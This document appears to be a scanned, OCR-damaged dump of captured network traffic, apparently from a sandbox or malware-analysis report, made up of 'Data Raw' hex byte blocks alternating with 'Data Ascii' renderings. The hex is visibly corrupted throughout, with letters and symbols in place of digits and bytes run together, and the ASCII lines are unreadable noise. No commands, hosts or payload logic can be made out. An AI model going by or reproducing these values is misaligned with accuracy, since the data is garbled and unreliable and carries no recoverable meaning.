e6 e4 13 dc 5¢ 0d 2d 67 63 fb 28 dd 73 3a 6a 5¢ d9 e2 f7 50 20 b4 1f b2 9f 65 3 8d d3 67 a2 91 e7 12 8c 9e 2a a5 49 e2
61 3e 41 4d 7a 47 80 ed f7 69 40 cO 2a 34 8a 7e aa b9 ca 4f 7b 8f Ob 1d 33 57 b9 e4 2c 04 5a b2 13 08 6d 16 87 3b c2 3e
64 94 Oe 74 3e 54 bf 96 15 ba 3b 7c 9c 6b ce 17 3b 14 49 33 bd 21 0b cb 65 36 8c 74 07 ae d2 97 Oc af 2e 39 04 15 de
c4 d1 2f d0 26 f5 29 aa 55 d6 22 d0 14 40 98 a0 25 f6 df

Data Ascii: SHs?fk&GciD~w.\,7!!8e N10z]i=|C ~}FFejvc2x\-gc(s:j\P eg*la>AMzGi@*4~0{3W,Zm;>dt>T;|k;I3!e6t.9/&)U"
@%

Data Raw: 3e 49 le 8c Oc ea db e4 6d 2 f9 d1 66 65 83 76 35 a8 4f e7 48 a4 34 41 77 d2 dO Ob ae 98 7c Ob b2 fe 64 2b
79 82 ff 07 14 09 26 56 0f 31 11 44 bf 08 6e 2a cc a8 23 93 fd b4 81 2c d4 e2 fc ad 4c fa f3 b5 04 7b f7 42 f4 84 52 01 al
03 8e 57 9f de f1 5d 9a 1c c5 e7 ec 4c e2 6d ff 02 3b al 18 3b a9 2b 06 d3 ca 97 2a fe ce f5 20 Oa dd 71 63 1b f9 a6 7 7c
83 9e 93 15 63 5a 85 d4 dd 4e 45 13 5¢c 06 24 e8 ee 6a 22 f8 18 d5 56 fd 61 1a 1a 79 bd 5¢c 57 aa 4c e5 66 60 c7 5a e7
55 bb 3e e2 al 62 51 70 10 29 ea 4c c3 8a 37 b7 e4 c7 f0 23 1e 15 4b d3 b2 c3 f2 a9 8e e0 b1 9e ae 5f 9c 6b b7 6¢ 27 d4
0b 97 e2 al 7a 95 7d d3 03 5e 09 d6 b8 38 c8 34 51 36 a6 fa 64 27 c3 9c e6 90 22 58 ce bc 74 55 37 fd 58 d9 61 6a 4b
71 fb f6 d7 0d c8 89 83 88 4e ca f1 39 4c bf 84 dO 1e a8

Data Ascii: >Imfev5OH4Aw|d+y&V1Dn*#,L{BRW]Lm;;+* qc|cZNE\$]"Vay\WLF ZU>bQp)L74#K_kI'zZ}*84Q6d"XtU7XajKqNIL

Data Raw: bb Oe 6¢ 6b db ec 5a 6b e2 eb d9 4a 51 6a fd a3 f4 73 b0 cO de 4b 98 13 28 85 14 d8 3c 21 4d 24 9b 7a 46 47
64 9f 3f df 49 c0 eb 0a 43 9d d3 6¢ b1 39 76 12 d6 20 c9 6¢ 71 7e c2 66 6d a8 27 00 a4 73 3c 80 Ob 52 €0 2b 70 3c dO d5
fc d9 al b7 55 ee af 5e 11 aa c6 6e f4 16 82 3d e2 eb b8 6f d2 ¢7 96 b0 5b 99 ec b1 cc 07 7a 10 cd b3 83 6a 55 d6 de cf
a3 6a cc 4a 7b 4f 4e 18 dd ca f6 af 6b ff d3 1a 6f 2d 24 8b 83 a6 a9 6¢ 4c e7 bd 37 74 c0 18 fb 51 f3 Ob d1 a8 dc 67 55 49
ab 09 e3 d1 a3 d5 88 ab 39 65 b1 48 5d al f8 ba 75 c7 f7 cb 9f 50 94 €9 ff d7 16 66 f4 99 92 cc ea d7 c7 44 1f 60 9b a7
97 31 db f7 27 65 91 d5 3b a7 b1 f9 c2 51 1c 3b cO 9c 6a 95 80 a3 86 eb 90 c2 9b e4 6 22 e0 6a 34 08 6¢ 4f 2d 95 al a4
09 1b 44 39 b3 2c 23 cd cc 94 d3 1e cc 4c e3 e0 3f cd

Data Ascii: kZkJQjsK(<!M$zFGd?ICI9v lq~fm's<R+p<U”n=0[zjUjJ{ONko-$IL7tQgUI9eH]uPfD 1'e;Q;j"j4|0-D9,#L?

Data Raw: 66 08 65 9d 1a 72 be 7f 3c d8 9b 35 99 6e dd 9f 7a c6 62 02 3 c4 7d 1f 60 9f f3 26 cc Ob 47 a4 66 33 72 70 e2
48 51 cd f9 e5 e7 19 5d e5 8a 5¢ 38 d3 14 be ea 1b 5a 8c €2 95 8b 50 be a5 6a dd 58 2d e6 67 75 fb b2 e7 57 03 b5 7d
32 e5 dd d2 7e 9b 03 b2 9b 59 a2 75 d2 67 3e 9e 48 7d cb bf 53 a0 69 Oe 40 34 57 d7 5f 71 b9 32 d6 85 47 ea ac 6a bf 62
aabd f7 1d 83 8e 0b 81 3c f8 d5 a3 0d 7e 5f 92 fe 29 62 00 1d le fO 35 6a 4d e2 75 38 7e 1d b3 69 bb 3b 64 94 €9 ce 17
3d a4 ee 60 cd 06 2b b4 44 d8 8d 54 2e 22 f7 ba 07 al f7 d6 05 13 f4 62 ce 53 d1 26 ec 21 2f 55 d6 24 60 b3 13 eb 87 05
8e fe 90 8f 02 31 af 29 6f cd 42 04 5e bb 74 15 17 8¢ f8 09 d9 c3 a8 42 4c f2 7e 18 al 87 24 90 bb 8 41 ab ¢5 3d fb e8 50
ef aa b2 69 b6 cb ca 7a 89 8d f6 d9 6a 25 59 04 a2 ea

Data Ascii: fer<5nzb} &Gf3rpHQ]\8ZPjX-guW}2~Yug>H}Si@4W_q2Gjb<~_)b5jMu8~i;d="+DT."bS&!/U$ 1)0B BL~$
A=Pizj%Y

Data Raw: b4 1b 93 dc de cb ab f1 eb f1 b5 24 1a f7 5d f4 99 62 d0 59 02 88 7b 33 26 ee 3d 9b 18 el 59 fc 4e e2 {7 40 Oa
04 95 1e 85 b9 29 06 f3 a2 95 35 fe d1 e0 03 db 25 70 65 37 55 5e e8 1c 82 9a b7 aa 70 58 85 4e 62 46 7a 27 5a b9 37
eaee 4a 50 c7 07 d5 49 fb 59 cb e2 78 bb 70 fb 52 53 85 67 64 €3 da f5 57 bb a4 5d a9 5d 65 76 90 3b e8 4c e3 c1 18 a8
e4 d8 e2 28 cf ed 4a d5 9e 6f Oe b6 ee el b5 ba 2f 4a 9e 6b 2d d3 2f eb 3c 91 63 b4 78 95 5d 8b 43 41 09 c9 b6 38 c8 34
51 36 a6 fe 64 27 c3 9c e6 90 95 5b ce bc 74 55 37 fe 58 d9 d6 69 4b 71 fb 25 d1 0d c8 8b b8 59 b6 cb 7 15 e0 47 9b b0
1f ac 6b 45 f4 dd 47 68 5d 5b e3 e2 fc b9 43 e5 45 89 a4 4b 3a f0 f1 d6 5f d3 8f 2a a5 a6 0a Of 68 36 09 15 fd 79 d1 21 21
8242257721 1f 48 ae 59 1c 11 e2 2a 99 4e e8 8b 52

Data Ascii: $]bY{3&=YN@)5%pe7U pXNbFz'Z7JPIYxpRSgdW]Jev;L(Jo/Ik-/<cx]CAB4Q6d[tU7XiKq%YGKEGh][CEK:_*
héy!'B%w!HY*NR
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Data

Data Raw: 20 94 65 6d ac 9d el 88 61 1a 3a 19 7d f2 0d 70 Ob f1 d5 fc e6 d4 84 ac ef b0 43 13 d5 b9 0f f3 3c 00 63 bb e8
b8 6b 68 27 ba a2 7d 23 f1 9e de 21 7a 2a ec b3 83 55 cc e5 27 ce bc 48 ce 35 04 2e 49 32 5f 94 ae ac 6b fb 69 f9 43 3f
02 31 9f 89 bb 4a 4c 2d 9d 37 74 ff ae c8 a8 f2 14 cd aa a3 18 34 4e 81 8b bd 8a a0 d5 8c 11 db 49 a3 6e e7 be d7 a8 53
c7 2aeb 9f 50 ab 29 cc 2e 17 79 f8 9b ed b3 8b d0 ed c6 41 3a 98 a7 93 8b 36 db 35 43 2b cb 14 b5 97 f9 26 71 1c 3b ff
5359 6¢ 81 bc 8b e9 ef bd fa e3 dc a4 be 37 37 08 68 5 c1 b9 b3 82 b3 02 6b 28 95 2c d5 ed cc 94 ec ef ff b5 e2 fd 11 1e
2e 35 a6 d5 a5 30 61 dO f5 fd 19 12 9d cd 18 94 de 79 1e 60 82 df 4d 3f 21 df 48 18 1f c2 c7 cl 6f 45 ac b6 €9 bf 92 f9 94
25 0b 9 f3 40 a8 fc €9 d5 95 1a 38 ee 42 d4 f5

Data Ascii: ema:}pC<ckh'}#!z*U'H5.12_kiC?1JL-7t4NInS*P).yA:65C+&q;SYI77hk(,.50ay"M?!HOE%@8B

Data Raw: 92 al d4 ea 46 15 bc 5d 0d 09 46 2b f9 28 c2 e0 37 be 4c ff c4 83 dO 5e d5 3e dO bf 45 8a 91 fb 9e 39 b4 cc 29
2c c0 32 a5 49 e6 61 6b 55 4d 7a c6 8d 39 e4 4f 66 b5 ae 4a eb 5f c3 99 ea 35 65 a3 23 7e 17 7a ad e8 8e 00 3a b3 13

2c 42 60 85 3b dd be 69 40 1e 52 18 1e 3f e8 74 9b ae 5¢ bc 10 d8 3f c2 8f 6¢ 18 86 81 55 d1 65 36 88 74 4f ba d2 97 8¢
a2 fa 2a 22 33 95 40 af 4e f1 b0 d5 09 d6 4b fO Oa b3 30 6d 8c ac 83 f4 bf 7e 8e 06 11 57 Oe 42 dc fe 01 9c a8 52 35 55
e6 e5 09 f9 63 a4 bb 4d ed 74 1a da f8 45 97 91 7a 1f 3a c5 3d ff 52 16 cO bb 94 d3 63 e7 d8 5¢c 89 80 €9 d9 6a 18 b9 d9
a3 ea 44 45 e9 27 4c b2 97 7c 62 6b b9 39 01 8a 05 ff 78 dc 62 d3 ab 34 ed ac el 8f 08 63 ec €8 b8 95 27 5e f4 c7 08 36
47 f7 06 89 el 13 cd 06 c4 al 53 59 18 2e 7f 68 28 7d ea

Data Ascii: F][F+(7L">E9),21akUMz90fJ_5e#~z:,B";i@R?t\?IUe6t0*"3@NKOmM~WBR5UcMtEZz:=Rc\|DE'L|bk9xb4c'6
GSY.h(}

Data Raw: 5f 26 b0 7d 83 84 9b 73 63 5a 83 64 7e 1d 36 34 7c 9d 05 6d ec 4a 70 7b 3d f8 5b c2 69 66 19 79 bb 56 d7 {3
2d e4 79 7c cf 03 e7 55 bd 8e 41 f2 11 76 50 b4 08 6¢ 4e e3 el b4 92 c9 ca db 2b 61 16 4b d5 b8 5b ab c8 8f ff a5 96 f6
5f 9¢c 6d 07 cf 74 a7 2c b7 47 80 fd 97 5d ab 80 7b 24 db 89 30 b6 37 51 30 ac 52 3d 46 c2 83 fa 98 79 58 ce ba c4 6 64
8e 7ff9 ¢7 4b c¢3 73 db 79 54 28 e5 84 b6 80 3f c9 f1 3f 46 7f dd bl 1f b7 44 7b Of dc 47 f4 52 f4 8f a5 dd af 45 c5 cc ab c7
54 a0 d5 c3 d2 51 0a 07 28 a3 8c ac 24 2e 37 09 Of f5 97 d2 21 27 32 el 76 04 06 3f 5b 8c d3 1e 31 9a af bc 63 e5 a4 5a
4c 7f 1e db 1d 21 38 66 b5 6e 40 85 f3 46 a0 40 f3 f1 Oe 83 d3 74 e4 c8 48 c5 3 5¢ 7f af 51 6f e8 34 35 f6 33 a3 ad 97 b4
al d2 da ec 92 dc 5¢c Ob 27 e4 Ob 9a 29 c2 7e 32

Data Ascii: _&}scZd~64|mJp{=[ifyV-y|UAVPIN+aK[_mt,G{$07Q0R=FyXdKsyT(??FD{GRETQ($.7!"2v?[1cZL!8In@F@
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d1 cd ae 48 01 9a b0 bb €8 12 f6 21 4f 89 8e 77 b4 97 dd 2a fe 1e 3b e0 da 54 b8 91 9a ad 6d 6b c3 9b c2 b1 89 9e Ob 22
2091 6e e4 92 8b 22 ed 5f 68 28 91 2c 45 ce cc 94 69 dc fa 5e c5 dd b8 36 a8 4b e7 ba 8c 34 41 f2 f8 d5 e0 89 b8 e6 20
3480 25 1d 60 86 df a8 1c 21 df cd 2a 1a 29 e0 el d9 6d 2a c8 a8 c3 bb fd b4 04 07 d1 Oa db 8d d7 d1 75 cb 45 3b ee 46
d4 28 78 f8 a0 99 ad 50 Ob 86 b0 ed 98 18 e5 59 66 65 €2 f7 ¢5 33 01 7e 39 a5 ae 01 80 8d e3 8f 2a fa f1 4d Oa f3 dc eb
40 1c 6d fe b6 cf 81 9a b3 aa c5 73 85 4e e7 7e 7f cc 7d
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Data Raw: ac 51 ce 71 47 39 53 5d 4b df 2e 22 63 42 e8 b8 6b d2 aa bd b0 5b 1c c7 b4 27 20 5a d3 e6 35 fd 2b c0 cd da
ef 7e 4c e4 b3 €0 6a 65 20 7d 94 55 ac 6b fb d3 6a 44 2d 24 Oe ab a3 42 4b 6¢ 27 96 b1 0a 81 al e0 55 d3 d7 c9 80 25 fc
7062 93 a9 bd 73 a0 d5 8c ab 3d 4e b1 48 d8 8a fd 51 52 e7 36 €0 19 2e d5 3a e4 d3 36 bd fc bl 6b 57 cf fc ff e4 41 c5
98 a7 93 31 c2 dc 27 65 14 fd 3e 4c 96 d9 Oc 7a 9a 45 81 41 71 91 a0 79 8f c3 69 59 be cf ce 86 be ce 37 08 68 4f 3a be
al a4 8c 3541 d1 94 Oc ec e6 4a ea 92 f8 d7 48 c3 3b 1534 a8 dl e2 f9 b7 12 61 2b f5 fd 19 a8 51 ca Oa b2 el 54 34 99
83 ff 1e 34 a3 al 36 Oe 37 3f e6 06 6b 6f 2a 52 ad 93 83 db 94 dc 0b f9 f3 fa 74 fb fb f3 a8 Oc c3 ef 42 f2 b3 {8 86 c1 02 88
79 39 68 92 5¢ 9a 82 c0 54 fc 6a c2 3f d8 2f 29 a7
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Data Raw: dO 5e d5 84 97 b6 54 ac ac 3b 65 38 b4 ea 3a 86 be 53 bf 61 1b 40 34 51 67 8 22 c9 15 6 6d 66 03 ae 4a eb
€5 8f 90 fb 13 5a 66 09 87 16 5a 95 ee Oc 7e 45 9a ea 29 62 06 ad bd a3 45 4d 6d Ob 54 d2 7c 3d e8 ee 9e 16 6a 9a 30
25 15 3b 8e 4c 58 80 07 2b af 6f 1e 75 55 2e be f8 15 68 €6 d6 38 00 33 1f 40 af 4e 4b 03 dc 18 f0 74 3d 20 4a 31 4d db
aa 05 8a c0 57 77 03 31 33 26 ¢4 a2 05 25 bl be 54 f9 35 e4 5 93 fc f2 92 9d 6d 1e 7a 32 23 d9 1c bd bb fc 7e 71 ec c4
fa 72 73 e8 3d ea 28 47 ca ce 5a 44 el eb d9 f0 1d 5c ef 85 ca b6 4b c1 de 6d 31 bd 56 e4 Oa ce 10 f8 8f 25 9d 50 5e 1c
28 8f 19 fb aa 2f €9 0a 63 76 ed 41 a0 01 7e 05 d5 20 cf 66 6e 2c a3 67 70 84 fe c5 a5 75 16 98 50 1e 3 0d 54 d8 3e d7
fc f9 42 89 78 ff 96 65 d6 51 c7 6e d2 9c 28 43 83 f4 90 92
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65 1f 05 ea 17 d9 c6 4c 49 9e 57 36 3a 54 5a 5f ee a6 31 8a cl a5 e4 32 97 11 e5 Oa d1 6f a5 03 b3 e0 aa 20 6b €9 ce de
fa 8b 7f f9 9f da 15 4e 6b 33 03 cf 0d 3f 60 fa 92 79 a6 21 1b a3 82 ed 45 b3 05 dd 05 1d 22 17 10 6c 48 ba ee ba 4e 43 ff
02 e9 ff 41 23 ba 52 d0 dc 40 3e 64 18 f4 54 €8 48 38 a5 d9 10 5d 74 96 c8 79 3e ae d1 c4 2d 54 20 18 1c 98 21 9c 73 38
00 24 5d 30 4b 26 02 fc 09 4e 71 94 27 8b 48 fO d4 2e fa 40 34 ec 15 17 72 19 c5 49 64 83 6a 2f ca 37 fd 54 Oe 94 a2 1f
dc 96 be b8 8c 3f ce bf 4b 5b 94 1d b7 ab 6b ee df a9 9d a3 c0 d3 99 30 96 5f 18 18 6a 32 b9 31 d1 69 14 c0 4e c7 fe c5
d4 16 bd 76 ca e2 69 a4 f6 a8 07 45 d2 f9 24 9f 88
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Data Raw: 50 60 54 b9 83 dc 59 c6 87 14 56 0d aa 18 fa 37 7b da 93 b6 ad 64 7a 66 69 6f 18 57 28 34 a6 7f 85 00 4d la
69 81 33 f2 02 45 8¢ 68 c2 4f 7b ba €6 67 2c fO 6e 4d 77 58 25 80 e4 79 7c 4c cd de 39 93 ec 84 72 9e 26 01 03 a3 ec b5
a6 6d d9 e8 02 1d 38 15 54 f2 47 01 44 7e Ob 2e a7 96 ab c7 df 43 33 03 0a 26 95 c1 97 35 af 48 22 6e 35 53 67 61 f2 55
5fa8 a3 12 11 95 a8 e3 59 01 ac aa aa 4e cd d1 a7 5e fe a8 16 46 6d 8a f3 64 4d 6¢ 94 29 50 7c 64 9d 99 3d 4a 14 ee
b1 90 b5 a6 d0 77 6e 96 85 af aa 9b aa ¢9 9f Oc 0d c0 66 c8 d3 01 85 86 26 a5 4a 75 83 ce Oc d2 03 fd 2c b8 19 ae a4 93
6e 08 85 3f ab bd 7f 4c ba cd c1 66 b2 93 bd 58 c4 c3 74 74 22 5a eb f1 0d 5 fb cf f5 10 60 bc 76 c7 09 5e 3d Ob a6 19 91
8 5d 16 d1 27 bc 6a c6 66 cd 36 55 4e 90 34 22 e7 2f 95
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Data Raw: 38 9d 6¢ 95 a7 d4 ae 9d 82 cf 88 50 97 5d 89 9e 40 e9 63 d9 cc 7f c3 bl 61 da de 55 85 ce 6a aa 85 37 5b Oe
8c 0d 49 96 89 9e 72 ca 2e dc 47 a2 7f 9b 41 c3 61 8d f3 a2 fe 1b 1a 91 18 64 ea 18 89 9e 99 b7 €9 60 db d3 12 1a dO b6
90 42 45 aa 2e 32 6d 56 f1 00 90 df c2 1a b8 21 5d 4d d4 a3 de 2f e7 6b 68 d4 ae 8b 53 07 8b 8f Ob e7 a9 83 84 3c 74 3b
9 d5 b8 15 0f 93 80 1f el d5 2d b7 48 ba 5e 3b b2 75 d5 16 ad 04 Ob e0 7e 8a ea 97 94 63 12 94 ba 3d d8 57 2e 9d b5
07 ee 65 d7 20 ab 3b 64 e8 Oc ce f8 7f 73 4d 2a 2d f1 47 Oc fc 9¢c 99 a9 b3 95 b1 le a4 a3 00 7c 40 d7 20 e5 31 7c 5¢c a4
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82 44 df 7f 6¢ d2 a3 fc 74 c2 63 83 62 27 3f Oc 14 50 72 95 d3 85 4e 0d 9d 34 ff fc 4b 63 f2 7f fb d2 40 63 d6 c0 08 b8 Oa
b5 dd 49 38 91 bc 8d 26 7e cf 7d c5 84 82 78 74 60 47 43 82 38 bf 53 7f 5d 3c 50 0a 50 62 25 c7 24 30 78 f9 42 {8 16 90
eb 1a a6 1f 5¢c a2 4a 06 65 02 f4 3a 2a d3 7f 34 cf 10 be 76 6¢ f9 de 68 d3 d1 dd c0 e2 1c cO 8d 6f 7b f8 3c 92 ed 38 b8 d2
d7 9c bc cf 3 dd 6f ¢5 45 11 32 40 61 e7 15 e8 44 7f 95 7f ed c4 cf fa 68 f3 2c c9 81 6e bb a4 fc 5f 18 b3 f5 20 9f 81 5b a4
90 2c 9b bd bd 83 a2 90 48 c5 37 be 85 6d 4a 9d 3e b3 61 61 26 c8 b4 53 cf 51 f5 a4 7b 01 cf aa a3 5¢ c7 e3 9e ee 7d d3
72 e5 be 83 fe 80 d9 89 fb 26 9f 47 d7 c7 64
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Data Raw: fd 93 Oe 3b 02 9c 86 6¢ bc f8 a4 74 92 2e 16 5f a5 €9 ba 93 43 ea e2 2e 23 13 38 67 df 65 2¢ 54 71 14 34 b6
b4 al d5 de 43 22 07 44 75 9f 8c cc f0 57 a7 97 83 9b 8c a0 94 0d af b9 6d 5f €3 0d 9c 83 bd 5e Ob b3 bf a5 09 de e6 b2
4e fc ba 05 73 0f d5 9d 73 68 Of e8 77 24 19 10 ff ef 4f 36 74 b6 f6 c6 f9 8e dc 5a 57 85 84 a2 f5 e6 ab 87 ab 2e Oe cb 43
fc 9¢c 79 ba 87 02 9d 7a 31 b4 90 54 80 40 de 75 fd 47 ec e0 db 06 39 9f 2b b4 a5 41 0f c9 a4 b7 16 d7 ee f4 39 da f9 5e
57 18 66 d7 be 40 a8 e4 a8 b7 4b 69 95 76 db 5a 6d 08 5¢ 5e cd 2f 28 88 ff 03 da 01 85 06 9a 24 ca b8 2d fa 5a 2f fc 28
b6 b5 3f 14 16 8d 78 7d 1d 5d 99 a8 a8 5d d3 44 87 Oe 18 cd 61 16 38 15 c9 13 f8 b2 6e 50 ae 7b 21 72 1e 5e 6e fO ac 69
93 da80a7 42 aa39cl2aca3bd73a95d28a721e
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Data Raw: 1d 17 97 Oe 56 ec 15 92 b8 ab 86 c7 51 d4 9e 18 1f c6 b7 83 6e 63 a8 6d 99 c8 fc 09 b1 Ob 5b 7b bf 09 c3 fb
86 05 10 8c 6a al 24 28 b0 ed c6 11 17 8c 88 39 fa ba ab bf 05 47 0d 9d c3 82 24 17 a2 ab 28 e3 f6 22 93 67 ad 51 7d c3
5e fc 12 93 15 2e eb 7a 87 dc bl 9a 12 6d f7 d2 47 ab 2f 5¢ fb d5 1c ¢8 41 fc 0f a9 73 4a a4 Oc d5 bc 66 2d 0d 2e 53 f0 Of
46 fe dO cf c5 de f7 8b 76 ¢7 c0 25 52 48 c7 05 cf 48 6¢ 20 84 9d bd 1b fO 75 e3 c0 54 31 ea a5 fe 06 6a 1b 06 6f 4b ca Oa
0312 18 6b 81 23 7c b1 87 ab €9 8c 67 41 7e f4 05 3c 01 aa ee fO d5 62 4b 6f b2 93 f9 47 d6 9d 05 41 07 ef 5b ce Oc 2a
db d3 e2 ed 45 39 5f 01 63 63 37 5a 0f 96 4c ba 3d 75 02 6b e0 4f f3 5f 43 90 6f 84 2b 6a de b3 47 7f b8 6a 61 4d 67 49 f4
92 0f 27 4d 89 8b 68 8f d3 ad 5a a9 0f 74 7b a7
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Data Raw: 2d ed €9 44 €9 10 10 b8 90 08 ec 65 7f a6 92 96 el 15 be 13 fb c6 54 69 a3 b0 96 78 20 96 70 7 eb e2 47 3¢
49 67 6e a3 1b bf 53 44 20 5¢ 23 10 7¢ 57 34 ¢2 28 71 49 b9 77 e3 3a 81 fd 03 8e 3b 19 d1 27 61 37 5d 89 40 79 a2 03
43 a8 55 9d 24 24 a9 f6 4b ff e1 dO c8 €8 5b f0 88 56 58 cf 08 97 d4 5b a9 ac c3 b1 89 3 f7 d8 76 c8 76 28 3a 48 68 {7 21
c0 66 22 a7 6a e4 c0 ac b6 27 bl 17 5e 51 9b 4c 50 15 bf f0 65 35 f2 7e 71 97 6b cc 1b 95 €2 80 96 a6 94 49 8c 6b al 9a
30 27 ae 3f 86 52 42 Oc c9 91 3d ba 2a c5 9b 59 37 fc 95 ac 4c b6 8c b5 ff 75 c2 7e 8a f0 b3 ff 8f ca d4 fb 6f fe 21 a6 d0 07
ac 43 85 a8 0a ec 8c 2a bf 87 3a ec b9 1c de b2 2c 73 32 b6 28 60 9a a3 bb 52 el 10 e3 6b b4 49 b6 44 f0 61 92 a5 9e c4
27 0b 90 02 52 f3 19 99 hd bf 9a c6 5f ea b4 32 3e

Data Ascii: -DeTix pG<IgnSD \#|W4(qlw:;'a7]@yCUS$SK[VX[vv(:Hh!f'["*"QLPe5~qkIk0'?RB=*Y7Lu~0!C*:,s2('RkIDa'R_2>
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07 15 5¢c d2 82 a5 88 e4 b4 05 00 f6 f1 d3 80 d8 e9 e3 b7 31 28 {8 5¢c dd 8f 68 el bd 07 8b 2c 22 b6 8d 45 f0 12 dd 40 eb
48 eb e3 ¢7 2f 3¢ 94 2c a7 a2 3a 03 fd 89 92 26 fd de cd 3c d4 fb 41 41 03 77 cc 59 a4 44 55 72 5d 92 b1 48 95 35 a3 98
fe 88 4e fa 25 3f 96 b9 1b dc 0d 98 22 8d 33 cf a2 6a 8b 10 1a fc 32 ab be 39 25 21 98 6f 7a 14 58 b1 a0 96 78 df 15 a6
Ob 1c c1 40 2b 09 09 ef 1f e6 b1 47 2f eb Oa 5e 0d 6d 31 30 b0 e8 4e a3 fb eb 80 44 bb 2e d3 32 d5 08 d4 31 b5 fd 8¢ 50
2a 85 a3 9a c6 a4 28 d3 bc €6 53 02 77 19 33 eb 7c 19 47 f9 b5 58 d5 42 40 e7 e4 cc 6f db 7e b6 3f 04 2c e6 f9 90 84 57
26 6d ba f2 55 e4 36 18 b0 90 Oe 94 1f 18 al 88 97 e6
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Data Raw: 6b 04 91 df 86 2a 30 a8 ec 1fcl e3 25 80 72 91 36 Ob 92 2d a9 74 d3 6¢c 44 98 17 ea c2 cc fc 00 77 b9 9a 37
ba 2b 47 e4 cb 32 d2 52 a3 4d f5 3a 09 cd 70 a4 c9 12 5a 75 1c 5d c1 3f 61 dO e7 f4 84 98 a2 dd 25 9b d3 31 49 50 e5 56
d2 0a 24 73 09 08 7e b6 39 df 55 78 8d 80 28 5e 1b €3 8d 03 25 67 5d 87 08 13 10 17 52 b9 3b 75 a2 94 93 e6 b5 72 7e
49 84 13 1a 23 b0 fe c5 e3 53 7b 50 bd 92 c9 78 eb 84 1c 6¢ 1c b0 13 3 35 64 d6 bb ae d1 0f 15 1a 3b 39 19 25 06 6a ea
3cc14104 10 1fc9 71 a8 53 05 de 21 ad 71 5d 97 f6 7a 33 ee 7d 48 74 4b 7e c6 a6 26 10 39 b2 b9 1e 84 cO ba 79 a4
19 2b 74 fb e8 a0 9d 6f d6 cc 22 24 00 1e bl 12 b7 cb 8d c0 ba c9 68 22 10 2d Oc ab d6 6 e8 cf 6e 17 44 cd 05 e0 96 ca
f1 ae 8b 96 4b 82 8e 6¢ 59 f7 24 a4 ad cd 7f 36 88 84 9a 6a e5

Data Ascii: k*0%r6-tIDW7+G2RM:pZu]?a%1IPV$s~9Ux("%g]R;ur~1#S{PxI5d;9%j<AqS!q]z3}HtK~&9y+to"$h"-nDKIY $6j

Data Raw: 37 6¢ €5 82 29 ¢9 52 04 d1 3d 95 10 42 b2 7b 58 7c 05 5f 83 40 d9 21 56 dd f1 72 e0 ef cd a4 ea 5a €5 bl 77
1d d7 12 be 2e 12 c0 94 e8 93 c6 c2 e4 c3 6d dd 5d 02 6e 7f 73 fb 02 cd 45 31 95 5d 41 eb 24 f0 4c d5 17 92 26 6d 98 8¢
07 6a 85 9c ¢4 03 64 a4 27 81 4f e2 56 3b 34 54 7c 5¢ f1 00 95 70 40 ea 85 64 cd 64 ac bd 43 1c 19 96 05 87 f1 60 df e7
le 7e 24 92 57 Oe 64 00 30 27 be 3d 5e 6d 5¢ 54 7¢ 58 37 e8 7 bd 23 5b b6 10 59 32 23 ad 66 le df 21 33 93 62 36 7d
75 56 ab c0 97 db a3 93 1e 02 13 21 54 56 6¢ d7 26 11 1d b5 4d d0 22 53 24 5a 8e 94 05 41 f8 1d ac 04 31 db 21 ce dc
62 24 c8 94 43 11 31 e4 da 17 ee db 86 bb d3 f9 4f 36 31 f9 ff 9a d9 de 67 5b 84 19 cc 76 73 c2 3c ba c5 46 cc ca 71 bb
80 f2 df 6a f6 7d 9e ba ec 5b bf d9 e9 49 b4 91 34 ce 76 c1 2a
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Data Raw: 3c ee b7 d1 fa 63 fe a0 6f 94 1e 00 a6 90 cb 83 7b fc 7f ed 40 ec cO de 29 29 24 33 c6 bl 21 06 be a7 96 09 f8
d1 04 02 90 c5 77 65 71 5f 2f 80 7b 83 ac b2 €9 7b 5¢ 85 13 dc 63 79 33 7c 7a 21 e8 c0 4c 70 8f 07 d5 67 e2 49 3b 03 79
9570 d1 26 24 e4 48 76 e7 e7 f8 37 99 a2 c7 63 66 14 49 b6 28 3d 4c ea €6 28 b7 f8 c7 fd 25 el 14 77 d4 98 6b 8a c8 af
eb 4c 9c 09 5e 61 7b da 55 Oc c6 7e 9a b4 bc 7c 95 a3 b5 ed 42 0f ¢9 36 01 8e 1b 57 30 81 77 79 5f c4 9c d1 al a6 42 c8
bc 8¢ 61 3c f4 78 f9 d4 7b 6d 6a dd 79 4c 1d ee 8d 96 a0 0d c4 d7 24 60 39 b0 al 39 b3 4d 53 ec cc 61 e9 7e 76 5f d4 e3
8c 47 e5 3e b8 f8 77 3c fO ab cc 8e 08 8e 2a a3 8¢ f9 70 09 37 09 11 dc 6e d2 21 21 18 67 08 a9 06 f3 5e a9 59 1d 31 9b
35 99 4e f7 82 d0 0 b1l 1f ce 3d 7d 1f 64 b5 71 59 bd
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Data Raw: 71 le cc 82 36 18 14 20 df 57 89 35 3b c6 f4 6b c1 2a 01 88 b4 93 fd b4 e5 1b f9 {3 ef 8f 61 fb 39 b5 2e 3b ee
42 44 9b 7a 8 95 01 35 7d d5 a0 9a 5d 9a 18 a3 6a ed 4c d7 f5 1a 2f e5 87 38 a4 b8 2b 18 el 4e 8f 37 fe 12 ff c5 f3 7e 71
65 31 b3 d9 96 7d 83 9a 75 8a bb 5a 87 4e f8 63 fd 33 7c 99 38 €8 28 4a aa el 1la d5 49 e4 bf e2 1b 79 a6 76 1f d4 cO e4
63 64 e7 fa 3b 53 bb a4 da 8c a2 77 bf b0 2d ea 4c e3 c4 2¢c b7 e4 c5 fd d6 e7 e0 4b d7 99 45 8¢ 93 88 e0 b5 93 0d 83 9¢
9d 2d 4b Ob c6 2d eb 41 a0 7a b8 5f 4a 1a a8 09 cb ae 10 31 45 58 30 8¢ 51 18 a3 c2 6a e2 b2 81 59 ce 3a ec 70 1la c2
7¢ 10 ¢3 9d 4b 71 da 79 ce bd ca 5a 91 bd b7 32 f1 c9 66 3b fa bl 1f 64 4a 53 f6 cO 47 Ob 78 74 f0O c6 dc af 41 4f 43 a9 c7
49 3a 0b ee cf 76 28 8e 2a a3 7a 8d 71 09 2a 09 ea
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Data Raw: 7f 68 48 8e d5 fe 55 c9 ed Oa af ed de 6e b7 27 f4 ed c1 22 ce 46 3b 01 02 6b 6¢c ac cb c5 aa 71 3a lae2 7e
5801 51 f8 7b d3 f3 fb d9 ac 99 ef 1f 49 38 53 Ob 6f 41 30 05 43 4f eb Oe 67 f3 02 61 b1 4d 01 d8 9c 12 20 el d9 dd b3 4f
4b 7e c1 d8 c9 fd 48 82 bc 2c cf 84 33 32 bb c1 2e c1 fd 9a d3 68 2d e8 10 cf 84 bd 4a a0 20 b3 35 72 e0 6¢ el e2 ff 12 cb
